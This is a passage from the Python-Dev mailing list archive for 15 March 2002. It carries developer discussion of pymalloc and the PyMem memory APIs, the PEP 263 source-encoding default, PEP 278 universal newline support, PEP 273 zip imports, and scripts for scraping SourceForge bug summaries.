mean no way to figure out what went wrong or save stuff you wanted to
save.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Fri Mar 15 16:18:03 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Fri, 15 Mar 2002 11:18:03 -0500
Subject: [Python-Dev] __getitem__ & slice question
In-Reply-To: <15506.7688.759990.925761@12-248-41-177.client.attbi.com>
References: <LNBBLJKPBEHFEDALKOLCMEJAOEAA.tim.one@comcast.net>
 <200203151544.g2FFivq02674@pcp742651pcs.reston01.va.comcast.net>
 <15506.7688.759990.925761@12-248-41-177.client.attbi.com>
Message-ID: <15506.7867.335559.413121@grendel.zope.com>

Skip Montanaro writes:
 > I said that while I was in the midst of adding __all__ to everything!
 > Nobody listened... :-(

Feel free to remove any that are specifically found to get in the
way.  Just tossing them all would probably not help; I think it makes
more sense to do this as bugs get reported that are specifically fixed
by removing them.  Anytime we feel the need to add to __all__ is
probably a good time to remove an __all__.  ;-)


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From guido@python.org  Fri Mar 15 16:20:17 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 11:20:17 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: Your message of "Fri, 15 Mar 2002 05:35:16 EST."
 <LNBBLJKPBEHFEDALKOLCCEKCOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCEKCOEAA.tim.one@comcast.net>
Message-ID: <200203151620.g2FGKHe02826@pcp742651pcs.reston01.va.comcast.net>

> I wonder whether it's actually a good idea for PyMem_New (etc) to
> keep on calling malloc/free even when pymalloc is enabled.  Anyone
> think they know a reason (other than theoretical purity <wink>) for
> why pymalloc only targets the PyObject family?  If Michael is right,
> the current distinction is indeed guaranteed to break just about
> every extension written for 1.5.2.  It's also plain irritating that
> if you have, e.g., a gazillion tiny lists, only the list headers
> will enjoy pymalloc's speed & memory savings (the guts still get
> allocated via PyMem_XXX).

Well, then you would have to provide yet another set of macros that
don't require the GIL, for use by extensions that need to allocate
memory while not holding the GIL.  Of course, you could say, "then
just use malloc/free", but the intention of pymem.h was that it would
*also* be possible to provide a malloc/free substitute that *was*
thread-safe -- unlike pymalloc.  I don't know how realistic that is --
the only candidate would be GNU malloc but that would just replace the
malloc/realloc/free entry points so wouldn't need any of the
pymem.h-approved hackery.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 15 16:52:05 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 11:52:05 -0500
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: Your message of "Wed, 13 Mar 2002 11:01:19 +0100."
 <3C8F236F.2512966F@lemburg.com>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
Message-ID: <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>

> My conclusion to all this is to withdraw the default encoding
> idea and replace it with the fixed ASCII default. This default
> won't be changeable by other means that adding an explicit header
> to the source file.

+1.

> If anyone has objections, please speak up. 
> 
> Note that I don't want to head on into the UTF-8 discussion 
> that has been going on. People who want the UTF-8 source code
> encoding must use the UTF-8 coding header (and/or the BOM mark).

+1

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jon+python-dev@unequivocal.co.uk  Fri Mar 15 16:52:54 2002
From: jon+python-dev@unequivocal.co.uk (Jon Ribbens)
Date: Fri, 15 Mar 2002 16:52:54 +0000
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Thu, Mar 14, 2002 at 11:17:29AM -0500
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020315165254.D6386@snowy.squish.net>

Guido van Rossum <guido@python.org> wrote:
> Me too.  But it opens up the nasty problem of the gazillions of
> Unix-only programmers who never use 'b' for binary files.  We've fixed
> that in the std library (since it's cross platform), but I'm not too
> comfortable with imposing this on everybody without a transition
> period, given that this is both common knowledge and has "just worked"
> for 12 years in Python.

Please don't change this. The reason I use Python is because it
Does What You Tell It To, unlike certain other languages with the same
initial. If you make the standard simple form of the open() call,
i.e. open(filename) start doing weird shit to files that is a big step
down the Dark Path to Perlishness. Please leave open() like it is and
make a new mode specifier for doing new things.

(And yes I know on Windows it already does stupid things, but that's
the operating system's fault not the language.)


From mal@lemburg.com  Fri Mar 15 17:09:16 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 15 Mar 2002 18:09:16 +0100
Subject: [Python-Dev] PEP 263 - default encoding
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com> <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C922ABC.5E5718DE@lemburg.com>

Guido van Rossum wrote:
> 
> > My conclusion to all this is to withdraw the default encoding
> > idea and replace it with the fixed ASCII default. This default
> > won't be changeable by other means that adding an explicit header
> > to the source file.
> 
> +1.

I have reworded the phase 1 implementation as follows:

    1. Implement the magic comment detection, but only apply the
       detected encoding to Unicode literals in the source file.

       If no magic comment is used, Python should continue to
       use the standard [raw-]unicode-escape codecs for Unicode
       literals.

       In addition to this step and to aid in the transition to
       explicit encoding declaration, the tokenizer must check the
       complete source file for compliance with the declared
       encoding. If the source file does not properly decode, a single
       warning is generated per file.

Note the second paragraph. This is needed to have non-ASCII
Unicode literals generate a warning but not a UnicodeError
in phase 1.

Phase 2 will then raise errors for any non-ASCII character
in source files which do not specify the encoding.

I guess the PEP is ready for BDFL pronouncement now.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From guido@python.org  Fri Mar 15 17:09:45 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 12:09:45 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: Your message of "Fri, 15 Mar 2002 16:52:54 GMT."
 <20020315165254.D6386@snowy.squish.net>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
 <20020315165254.D6386@snowy.squish.net>
Message-ID: <200203151709.g2FH9ju03479@pcp742651pcs.reston01.va.comcast.net>

> Please don't change this. The reason I use Python is because it
> Does What You Tell It To, unlike certain other languages with the same
> initial. If you make the standard simple form of the open() call,
> i.e. open(filename) start doing weird shit to files that is a big step
> down the Dark Path to Perlishness. Please leave open() like it is and
> make a new mode specifier for doing new things.
> 
> (And yes I know on Windows it already does stupid things, but that's
> the operating system's fault not the language.)

Sounds like a rather parochial attitude, if you ask me.  Maybe you can
try again without calling names.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 15 17:18:00 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 12:18:00 -0500
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: Your message of "Fri, 15 Mar 2002 18:09:16 +0100."
 <3C922ABC.5E5718DE@lemburg.com>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp> <3C8F236F.2512966F@lemburg.com> <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com>
Message-ID: <200203151718.g2FHI0M03566@pcp742651pcs.reston01.va.comcast.net>

> I guess the PEP is ready for BDFL pronouncement now.

Is the patch updated to match the PEP phase 1?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jim@interet.com  Fri Mar 15 17:22:29 2002
From: jim@interet.com (James C. Ahlstrom)
Date: Fri, 15 Mar 2002 12:22:29 -0500
Subject: [Python-Dev] PEP 273 - Import from Zip Archives
References: <web-3721892@digicool.com>
Message-ID: <3C922DD5.8080200@interet.com>

Jeremy Hylton wrote:


> I was actually asking a simpler question:  Can you change
> the PEP to point to the most recent implementation patch?
> Even if the patch doesn't apply, I'd like to take a quick
> look at how you implemented it.


I can't seem to update the PEP.  Could someone please
change the PEP to reference SourceForge patch 492105?

 
> Of course, updating the patch is necessary to get it
> accepted.  So it would be great if you could update it.


The updated patch is in file jim.diff on SourceForge 492105.
Also, Kalle Svensson send me his version of the patch, and it
agrees.  Thanks Kalle.

JimA





From tim.one@comcast.net  Fri Mar 15 17:27:48 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 12:27:48 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support -
 available
In-Reply-To: <20020315165254.D6386@snowy.squish.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGELNOEAA.tim.one@comcast.net>

[Jon Ribbens]
> ...
> (And yes I know on Windows it already does stupid things, but that's
> the operating system's fault not the language.)

It's actually C's "fault":  everything Windows does in text mode is 100%
fine by the C standard.  Indeed, as OSes go, Windows is relatively sane
here.  Notwithstanding that Linux is saner, at least from the POV of
developers.  The mass of OSes in which text mode is radically different than
binary mode are arguably saner and safer for end users.

unix-was-the-first-os-designed-without-users-in-mind<wink>-ly y'rs  - tim



From jim@interet.com  Fri Mar 15 17:34:21 2002
From: jim@interet.com (James C. Ahlstrom)
Date: Fri, 15 Mar 2002 12:34:21 -0500
Subject: [Python-Dev] PEP 273 - Import from Zip Archives
References: <web-3721892@digicool.com> <3C922DD5.8080200@interet.com>
Message-ID: <3C92309D.9040209@interet.com>

James C. Ahlstrom wrote:


> The updated patch is in file jim.diff on SourceForge 492105.


Rumor has it that diff -c is preferred, so I added dashc.diff.

JimA



From skip@pobox.com  Fri Mar 15 17:34:53 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 15 Mar 2002 11:34:53 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15506.12477.208087.216347@12-248-41-177.client.attbi.com>

    Guido> Some of the "new" bugs aren't new.  In fact, most aren't.  Sample
    Guido> (but not the only one):

    Guido> Float/long comparison anomaly
    Guido>              http://python.net/crew/mwh/py/bug/513866

    Guido> was submitted on 2002-02-06.

    Guido> In fact, it looks like these are a random selection of bugs and
    Guido> patches. :-(

Okay, I found the problem.  Repeat after me:

    Some people, when confronted with a problem, think "I know, I'll use
    regular expressions".  Now they have two problems. - Jamie Zawinsky

My regular expression did not take into account that <b> was only applied to
old dates.

The St. Patrick's Day mailing will include a bunch of "new" bugs that still
aren't really new (they will be new to my local database though).  Still,
I'm going to let it slide so everyone gets an ego boost from all the bugs
and patches that have been closed this week (I count over thirty so far).  I
added the date of the bug/patch submission in parens after the summary, and
the output is ordered by id, so the truly new stuff should be easy to
spot. The new bugs/patches sections should be correct the Sunday after that.

I'm also going to use the full SF url for the links even though they are
long and may potential get wrapped by broken mailers.  Something about
Michael Hudson's redirector loses or blocks chit-chat between my browser and
SF, so whenever I clicked one of those URLs I'd get a "Not Logged In"
version of the page of interest even though I was logged in.

Skip



From paul@prescod.net  Fri Mar 15 17:31:19 2002
From: paul@prescod.net (Paul Prescod)
Date: Fri, 15 Mar 2002 09:31:19 -0800
Subject: [Python-Dev] PEP 263 - default encoding
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com> <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net> <3C922ABC.5E5718DE@lemburg.com>
Message-ID: <3C922FE7.DD78C73E@prescod.net>

"M.-A. Lemburg" wrote:
> 
>...
> 
> I have reworded the phase 1 implementation as follows:
> 
>     1. Implement the magic comment detection, but only apply the
>        detected encoding to Unicode literals in the source file.
> 
>        If no magic comment is used, Python should continue to
>        use the standard [raw-]unicode-escape codecs for Unicode
>        literals.

Are we thinking about Python's unicode literal syntax as just a codec? I
know that there is a codec that implements that syntax but I would hate
to find out that if I use KOI8-R, I no longer have the ability to use \U
in my code to insert Kanji.

 Paul Prescod


From jeremy@zope.com  Fri Mar 15 17:37:36 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 15 Mar 2002 12:37:36 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
Message-ID: <web-3746539@digicool.com>

Skip,

Are you scraping the full SF bug report or just the summary
page?  Perhaps we should make a more concerted effort to
share our scraping code.  It's likely that we didn't make
the same mistakes, so we'll either be able to cut the bugs
in half by looking for divergences or double the number of
bugs by taking the worst from each.

Jeremy


From tim.one@comcast.net  Fri Mar 15 17:38:45 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 12:38:45 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <3C91DD90.BD64C6E4@lemburg.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAELPOEAA.tim.one@comcast.net>

[M.-A. Lemburg, on PyMem_xxx still using malloc/free even when pymalloc
 is enabled]

> Depends on how you define PyMem_* ...

I could have guessed that <wink>.

> If you are saying that these macros/functions are only intended to
> allocate memory blocks which Python will use, then it's probably OK to
> let pymalloc handle these as well.
>
> If, for some reason, you intend to share the memory
> with some other process/DLL/whatever, then I'm not
> sure if this continues to work with pymalloc -- could
> be that the platform's malloc() uses flags/locks etc.
> to manage sharing. Just a thought, probably just FUD.
>
> ALAS, the only way to find out, is to try it.

It's not entirely FUD.  At least on Windows, you can get into a state where
using memory APIs "from the same family" can nevertheless end up using
different heaps, and then passing addresses around is a nightmare when one
DLL tries to free memory obtained in a different DLL.  As a uniform way to
spell "use the Python DLL's view of what 'the heap' is to allocate and
free", PyMem_XXX serve a real purpose there.  But extensions currently mix,
e.g., PyMem_Malloc() with free() too.



From akuchlin@mems-exchange.org  Fri Mar 15 17:40:32 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Fri, 15 Mar 2002 12:40:32 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com> <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net> <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
Message-ID: <20020315174032.GB31185@ute.mems-exchange.org>

On Fri, Mar 15, 2002 at 11:34:53AM -0600, Skip Montanaro wrote:
>long and may potential get wrapped by broken mailers.  Something about
>Michael Hudson's redirector loses or blocks chit-chat between my browser and
>SF, so whenever I clicked one of those URLs I'd get a "Not Logged In"

Weird, because SF uses a cookie to store session information; I can't
see what the redirector might do to mess that up, unless it sends you
to some odd hostname (and even then, that would be an SF bug).

Should the redirector be moved to www.python.org/bugs/NNNN/ ?  (Or
maybe /dev/bugs/NNN, and then we can create a /dev/ section for
developers.)

--amk



From tim.one@comcast.net  Fri Mar 15 17:41:06 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 12:41:06 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <20020315153727.GA9439@panix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEMBOEAA.tim.one@comcast.net>

[Aahz [mailto:aahz@pythoncraft.com]]

Cool address!

> I'm just picking a random spot to break into this thread.  Last
> go-round, I seem to recall a suggestion that pymalloc get a new API and
> that anyone who wanted to use pymalloc would be forced to modify their
> code.  That would leave all currently working ways of spelling
> malloc()/free() working.
>
> Is there some reason why we're not doing that?

Yes:  I suggested it, and it wouldn't hassle users.  I'm not sure what the
third strike against it was <wink>.



From jon+python-dev@unequivocal.co.uk  Fri Mar 15 17:48:33 2002
From: jon+python-dev@unequivocal.co.uk (Jon Ribbens)
Date: Fri, 15 Mar 2002 17:48:33 +0000
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <200203151709.g2FH9ju03479@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Fri, Mar 15, 2002 at 12:09:45PM -0500
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net> <20020315165254.D6386@snowy.squish.net> <200203151709.g2FH9ju03479@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020315174833.E6386@snowy.squish.net>

Guido van Rossum <guido@python.org> wrote:
> > Please don't change this. The reason I use Python is because it
> > Does What You Tell It To, unlike certain other languages with the same
> > initial. If you make the standard simple form of the open() call,
> > i.e. open(filename) start doing weird shit to files that is a big step
> > down the Dark Path to Perlishness. Please leave open() like it is and
> > make a new mode specifier for doing new things.
> > 
> > (And yes I know on Windows it already does stupid things, but that's
> > the operating system's fault not the language.)
> 
> Sounds like a rather parochial attitude, if you ask me.

Huh? It's nothing to do with parochialism, it's to do with wanting
what you read from a file to be what's in the file.

> Maybe you can try again without calling names.

Huh? You're confusing me. I didn't call anyone any names.


From tim.one@comcast.net  Fri Mar 15 18:05:40 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 13:05:40 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <200203151620.g2FGKHe02826@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEMFOEAA.tim.one@comcast.net>

[Guido, on PyMem_XXX still calling malloc/free even when pymalloc is
 enabled]

> Well, then you would have to provide yet another set of macros that
> don't require the GIL, for use by extensions that need to allocate
> memory while not holding the GIL.  Of course, you could say, "then
> just use malloc/free", but the intention of pymem.h was that it would
> *also* be possible to provide a malloc/free substitute that *was*
> thread-safe -- unlike pymalloc.  I don't know how realistic that is --
> the only candidate would be GNU malloc but that would just replace the
> malloc/realloc/free entry points so wouldn't need any of the
> pymem.h-approved hackery.

That's an old sore point:  the memory API is, in its many "hidden" layers,
almost pure YAGNI.  Vladimir found it useful when he was exploring the
universe of all possible memory allocation algorithms, but I've seen no
evidence that anyone else cares (or even understands it).

Rather than have PyMem_XXX not call malloc/free, I expect what I'd like more
is a way for core code to say "use obmalloc.c here, even though I'm not
allocating 'an object' at this point".  This could be used for, e.g., list
guts and especially for Unicode string guts.  But despite all the layers of
macros here, there doesn't appear to be a blessed way to spell that!  The
malloc substitute in obmalloc.c is

_THIS_MALLOC(size_t nbytes)

and _THIS_MALLOC is a macro exapnding to PyCore_OBJECT_MALLOC_FUNC, and
PyCore_OBJECT_MALLOC_FUNC is a macro expanding to _PyCore_ObjectMalloc when
pymalloc is enabled.  _PyCore_ObjectMalloc is not a macro, it's the actual
ultimate name of the malloc substitute (ignoring the possibilities for
somone to break into the macro chain).  All *these* macro names are supposed
to be "invisible" (internal to the memory implementation).

In the other direction, e.g.,

   PyObject_New ->
   _PyObject_New ->
   PyObject_MALLOC ->
   PyCore_OBJECT_MALLOC ->
   PyCore_OBJECT_MALLOC_FUNC,
       and we're back in the macro chain traced above

There's just no sane way to say "give me obmalloc.c's malloc".  I'd rather
we named obmalloc.c's entry points, e.g., PyMalloc_Malloc directly ...



From guido@python.org  Fri Mar 15 18:16:07 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 13:16:07 -0500
Subject: [Python-Dev] PEP 273 - Import from Zip Archives
In-Reply-To: Your message of "Fri, 15 Mar 2002 12:22:29 EST."
 <3C922DD5.8080200@interet.com>
References: <web-3721892@digicool.com>
 <3C922DD5.8080200@interet.com>
Message-ID: <200203151816.g2FIG8u03926@pcp742651pcs.reston01.va.comcast.net>

> I can't seem to update the PEP.  Could someone please
> change the PEP to reference SourceForge patch 492105?

Done.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From neal@metaslash.com  Fri Mar 15 18:22:49 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Fri, 15 Mar 2002 13:22:49 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
References: <web-3746539@digicool.com>
Message-ID: <3C923BF9.894C6219@metaslash.com>

Jeremy Hylton wrote:
> 
> Skip,
> 
> Are you scraping the full SF bug report or just the summary
> page?

If you are scaping the full report, it might be nice to include
the # of patches and the # of comments.

Neal


From just@letterror.com  Fri Mar 15 18:24:11 2002
From: just@letterror.com (Just van Rossum)
Date: Fri, 15 Mar 2002 19:24:11 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <20020315174833.E6386@snowy.squish.net>
Message-ID: <20020315192412-r01010800-2de9e202-0920-010c@10.0.0.23>

Jon Ribbens wrote:

> > Sounds like a rather parochial attitude, if you ask me.
> 
> Huh? It's nothing to do with parochialism, it's to do with wanting
> what you read from a file to be what's in the file.

That's what binary mode is for.

> > Maybe you can try again without calling names.
> 
> Huh? You're confusing me. I didn't call anyone any names.

  "weird shit"
  "Dark Path to Perlishness"
  "stupid things"
  "operating system's fault"

While that may not technically be name calling, it definitely doesn't qualify as
"nice".

Over and out,

Just


From neal@metaslash.com  Fri Mar 15 18:27:46 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Fri, 15 Mar 2002 13:27:46 -0500
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
References: <web-3739978@digicool.com>
Message-ID: <3C923D22.6CA4BF56@metaslash.com>

Jeremy Hylton wrote:
> 
> On Thu, 14 Mar 2002 18:11:26 -0500
>  Guido van Rossum <guido@python.org> wrote:
> > > pychecker2 is a complete rewrite using the stdlib
> > compiler
> > > package.  There are only about 10 warnings generated so
> > far.
> > > One of the goals is to support Jython.  Although,
> > > we have only used CPython so far.
> >
> > Hm, but doesn't the compiler package use the parser
> > module?  Does
> > Jython support the parser module?  I'd be very surprised,
> > since it
> > uses different parsing technology...
> 
> The stdlib compiler package relies on the builtin parser
> module.  It converts the concrete syntax returned by the
> parser module to an AST.  It should be possible to write a
> similar transformer for jython that converts from its
> internal parser representation to the same AST.
> 
> On the other hand, I plan to work on a new AST for the
> compiler builtin to the interpreter.  I expect it will be
> quite similar to the compiler package's AST, but perhaps not
> exactly the same.  It might be better if CPython and Jython
> standardized an AST as part of the 2.3 development cycle.
> Then pychecker2 could use it.

I think this is a great idea!  Let me know if I can help.

Neal


From guido@python.org  Fri Mar 15 18:29:09 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 13:29:09 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: Your message of "Fri, 15 Mar 2002 12:40:32 EST."
 <20020315174032.GB31185@ute.mems-exchange.org>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com> <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net> <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <20020315174032.GB31185@ute.mems-exchange.org>
Message-ID: <200203151829.g2FIT9604039@pcp742651pcs.reston01.va.comcast.net>

> Weird, because SF uses a cookie to store session information; I can't
> see what the redirector might do to mess that up, unless it sends you
> to some odd hostname (and even then, that would be an SF bug).

HTTP vs. HTTPS maybe?

> Should the redirector be moved to www.python.org/bugs/NNNN/ ?  (Or
> maybe /dev/bugs/NNN, and then we can create a /dev/ section for
> developers.)

Sounds like a plan.  We already have a /peps/ redirectory (sort of).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Fri Mar 15 18:29:43 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 13:29:43 -0500
Subject: [Python-Dev] __getitem__ & slice question
In-Reply-To: <15506.7688.759990.925761@12-248-41-177.client.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEMHOEAA.tim.one@comcast.net>

[Skip Montanaro]
> I said that while I was in the midst of adding __all__ to everything!
> Nobody listened... :-(

I questioned it frequently <wink>.

[Fred Drake, Jr.]
> Feel free to remove any that are specifically found to get in the
> way.  Just tossing them all would probably not help; I think it makes
> more sense to do this as bugs get reported that are specifically fixed
> by removing them.  Anytime we feel the need to add to __all__ is
> probably a good time to remove an __all__.  ;-)

-1.  For good or ill, the mechanism is there now, and is the only we have to
distinguish intended exports from accidental exports, given that nobody
dared do the truly sane thing (renaming accidentally exported names to use a
leading underscore).



From nas@python.ca  Fri Mar 15 18:37:07 2002
From: nas@python.ca (Neil Schemenauer)
Date: Fri, 15 Mar 2002 10:37:07 -0800
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEMFOEAA.tim.one@comcast.net>; from tim.one@comcast.net on Fri, Mar 15, 2002 at 01:05:40PM -0500
References: <200203151620.g2FGKHe02826@pcp742651pcs.reston01.va.comcast.net> <LNBBLJKPBEHFEDALKOLCKEMFOEAA.tim.one@comcast.net>
Message-ID: <20020315103706.A6875@glacier.arctrix.com>

Tim Peters wrote:
> There's just no sane way to say "give me obmalloc.c's malloc".  I'd rather
> we named obmalloc.c's entry points, e.g., PyMalloc_Malloc directly ...

Me too.  That way I could have PyObject_GC_{New,NewVar,Del} use obmalloc
under the hood.  Even better, maybe there's a way to do some inlining
and remove some of the alloction function call overhead.

  Neil


From guido@python.org  Fri Mar 15 18:35:31 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 13:35:31 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: Your message of "Fri, 15 Mar 2002 13:05:40 EST."
 <LNBBLJKPBEHFEDALKOLCKEMFOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEMFOEAA.tim.one@comcast.net>
Message-ID: <200203151835.g2FIZVI04108@pcp742651pcs.reston01.va.comcast.net>

Tim, do you think you're ready to make a specific proposal?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Fri Mar 15 18:42:34 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 15 Mar 2002 12:42:34 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <web-3746539@digicool.com>
References: <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <web-3746539@digicool.com>
Message-ID: <15506.16538.298034.153405@12-248-41-177.client.attbi.com>

    Jeremy> Are you scraping the full SF bug report or just the summary
    Jeremy> page?  Perhaps we should make a more concerted effort to share
    Jeremy> our scraping code.  It's likely that we didn't make the same
    Jeremy> mistakes, so we'll either be able to cut the bugs in half by
    Jeremy> looking for divergences or double the number of bugs by taking
    Jeremy> the worst from each.

I just scrape the summary page for the time being.  I have a separate script
that allows me add more tag info to my local database (but no way to display
that stuff yet).  For that I do grab the detail page.

Are you parsing the HTML or tearing it apart with regular expressions?  I
make a couple simple transformations on the HTML before trying to match that
make the regular expressions a hell of a lot easier to write.

I'll shoot you a copy in private mail.  I doubt most of the python-dev
readership is interested in this to any great degree.

Skip


From skip@pobox.com  Fri Mar 15 18:44:22 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 15 Mar 2002 12:44:22 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <3C923BF9.894C6219@metaslash.com>
References: <web-3746539@digicool.com>
 <3C923BF9.894C6219@metaslash.com>
Message-ID: <15506.16646.544932.586492@12-248-41-177.client.attbi.com>

    >> Are you scraping the full SF bug report or just the summary page?

    Neal> If you are scaping the full report, it might be nice to include
    Neal> the # of patches and the # of comments.

I'll keep that in mind for my other little script.  The idea there is to
make more easy-to-browse information available so people can quickly decide
if they want to pursue a particular bug or not.

Skip



From fdrake@acm.org  Fri Mar 15 18:46:25 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Fri, 15 Mar 2002 13:46:25 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <15506.16538.298034.153405@12-248-41-177.client.attbi.com>
References: <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <web-3746539@digicool.com>
 <15506.16538.298034.153405@12-248-41-177.client.attbi.com>
Message-ID: <15506.16769.311606.739858@grendel.zope.com>

Skip Montanaro writes:
 > I'll shoot you a copy in private mail.  I doubt most of the python-dev
 > readership is interested in this to any great degree.

Actually, Jeremy should take this as a call to get his "sftools"
project set up and add a mailing list.  I imagine a lot of developers
would be interested in tools to mine SourceForge data, and would be
willing to use tools implemented in Python.

Any sizable SF-based project is likely to be interested in tools like
we're discussing here, and some may be willing to help build/test
them.  We should let them help!


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From tim.one@comcast.net  Fri Mar 15 18:52:04 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 13:52:04 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <200203151620.g2FGKHe02826@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEMNOEAA.tim.one@comcast.net>

[Tim]
>> I wonder whether it's actually a good idea for PyMem_New (etc) to ...

[Guido]
> Well, then you would have to provide yet another set of macros that
> don't require the GIL, for use by extensions that need to allocate
> memory while not holding the GIL.

BTW, where does it say it's OK to use PyMem_XXX when not holding the GIL?
The only exceptions I know of to "the GIL rule" are listed in the "Thread
State and the Global Interpreter Lock" section, and that doesn't mention
PyMem_XXX.  The PyMem_XXX docs don't mention it either, ditto any code
comments I've been able to find.

I guess it's an intended exception (else you wouldn't have written the
above), but I want to make sure.



From tim.one@comcast.net  Fri Mar 15 19:00:32 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 14:00:32 -0500
Subject: [Python-Dev] RE: [ python-Bugs-530070 ] pydoc regression
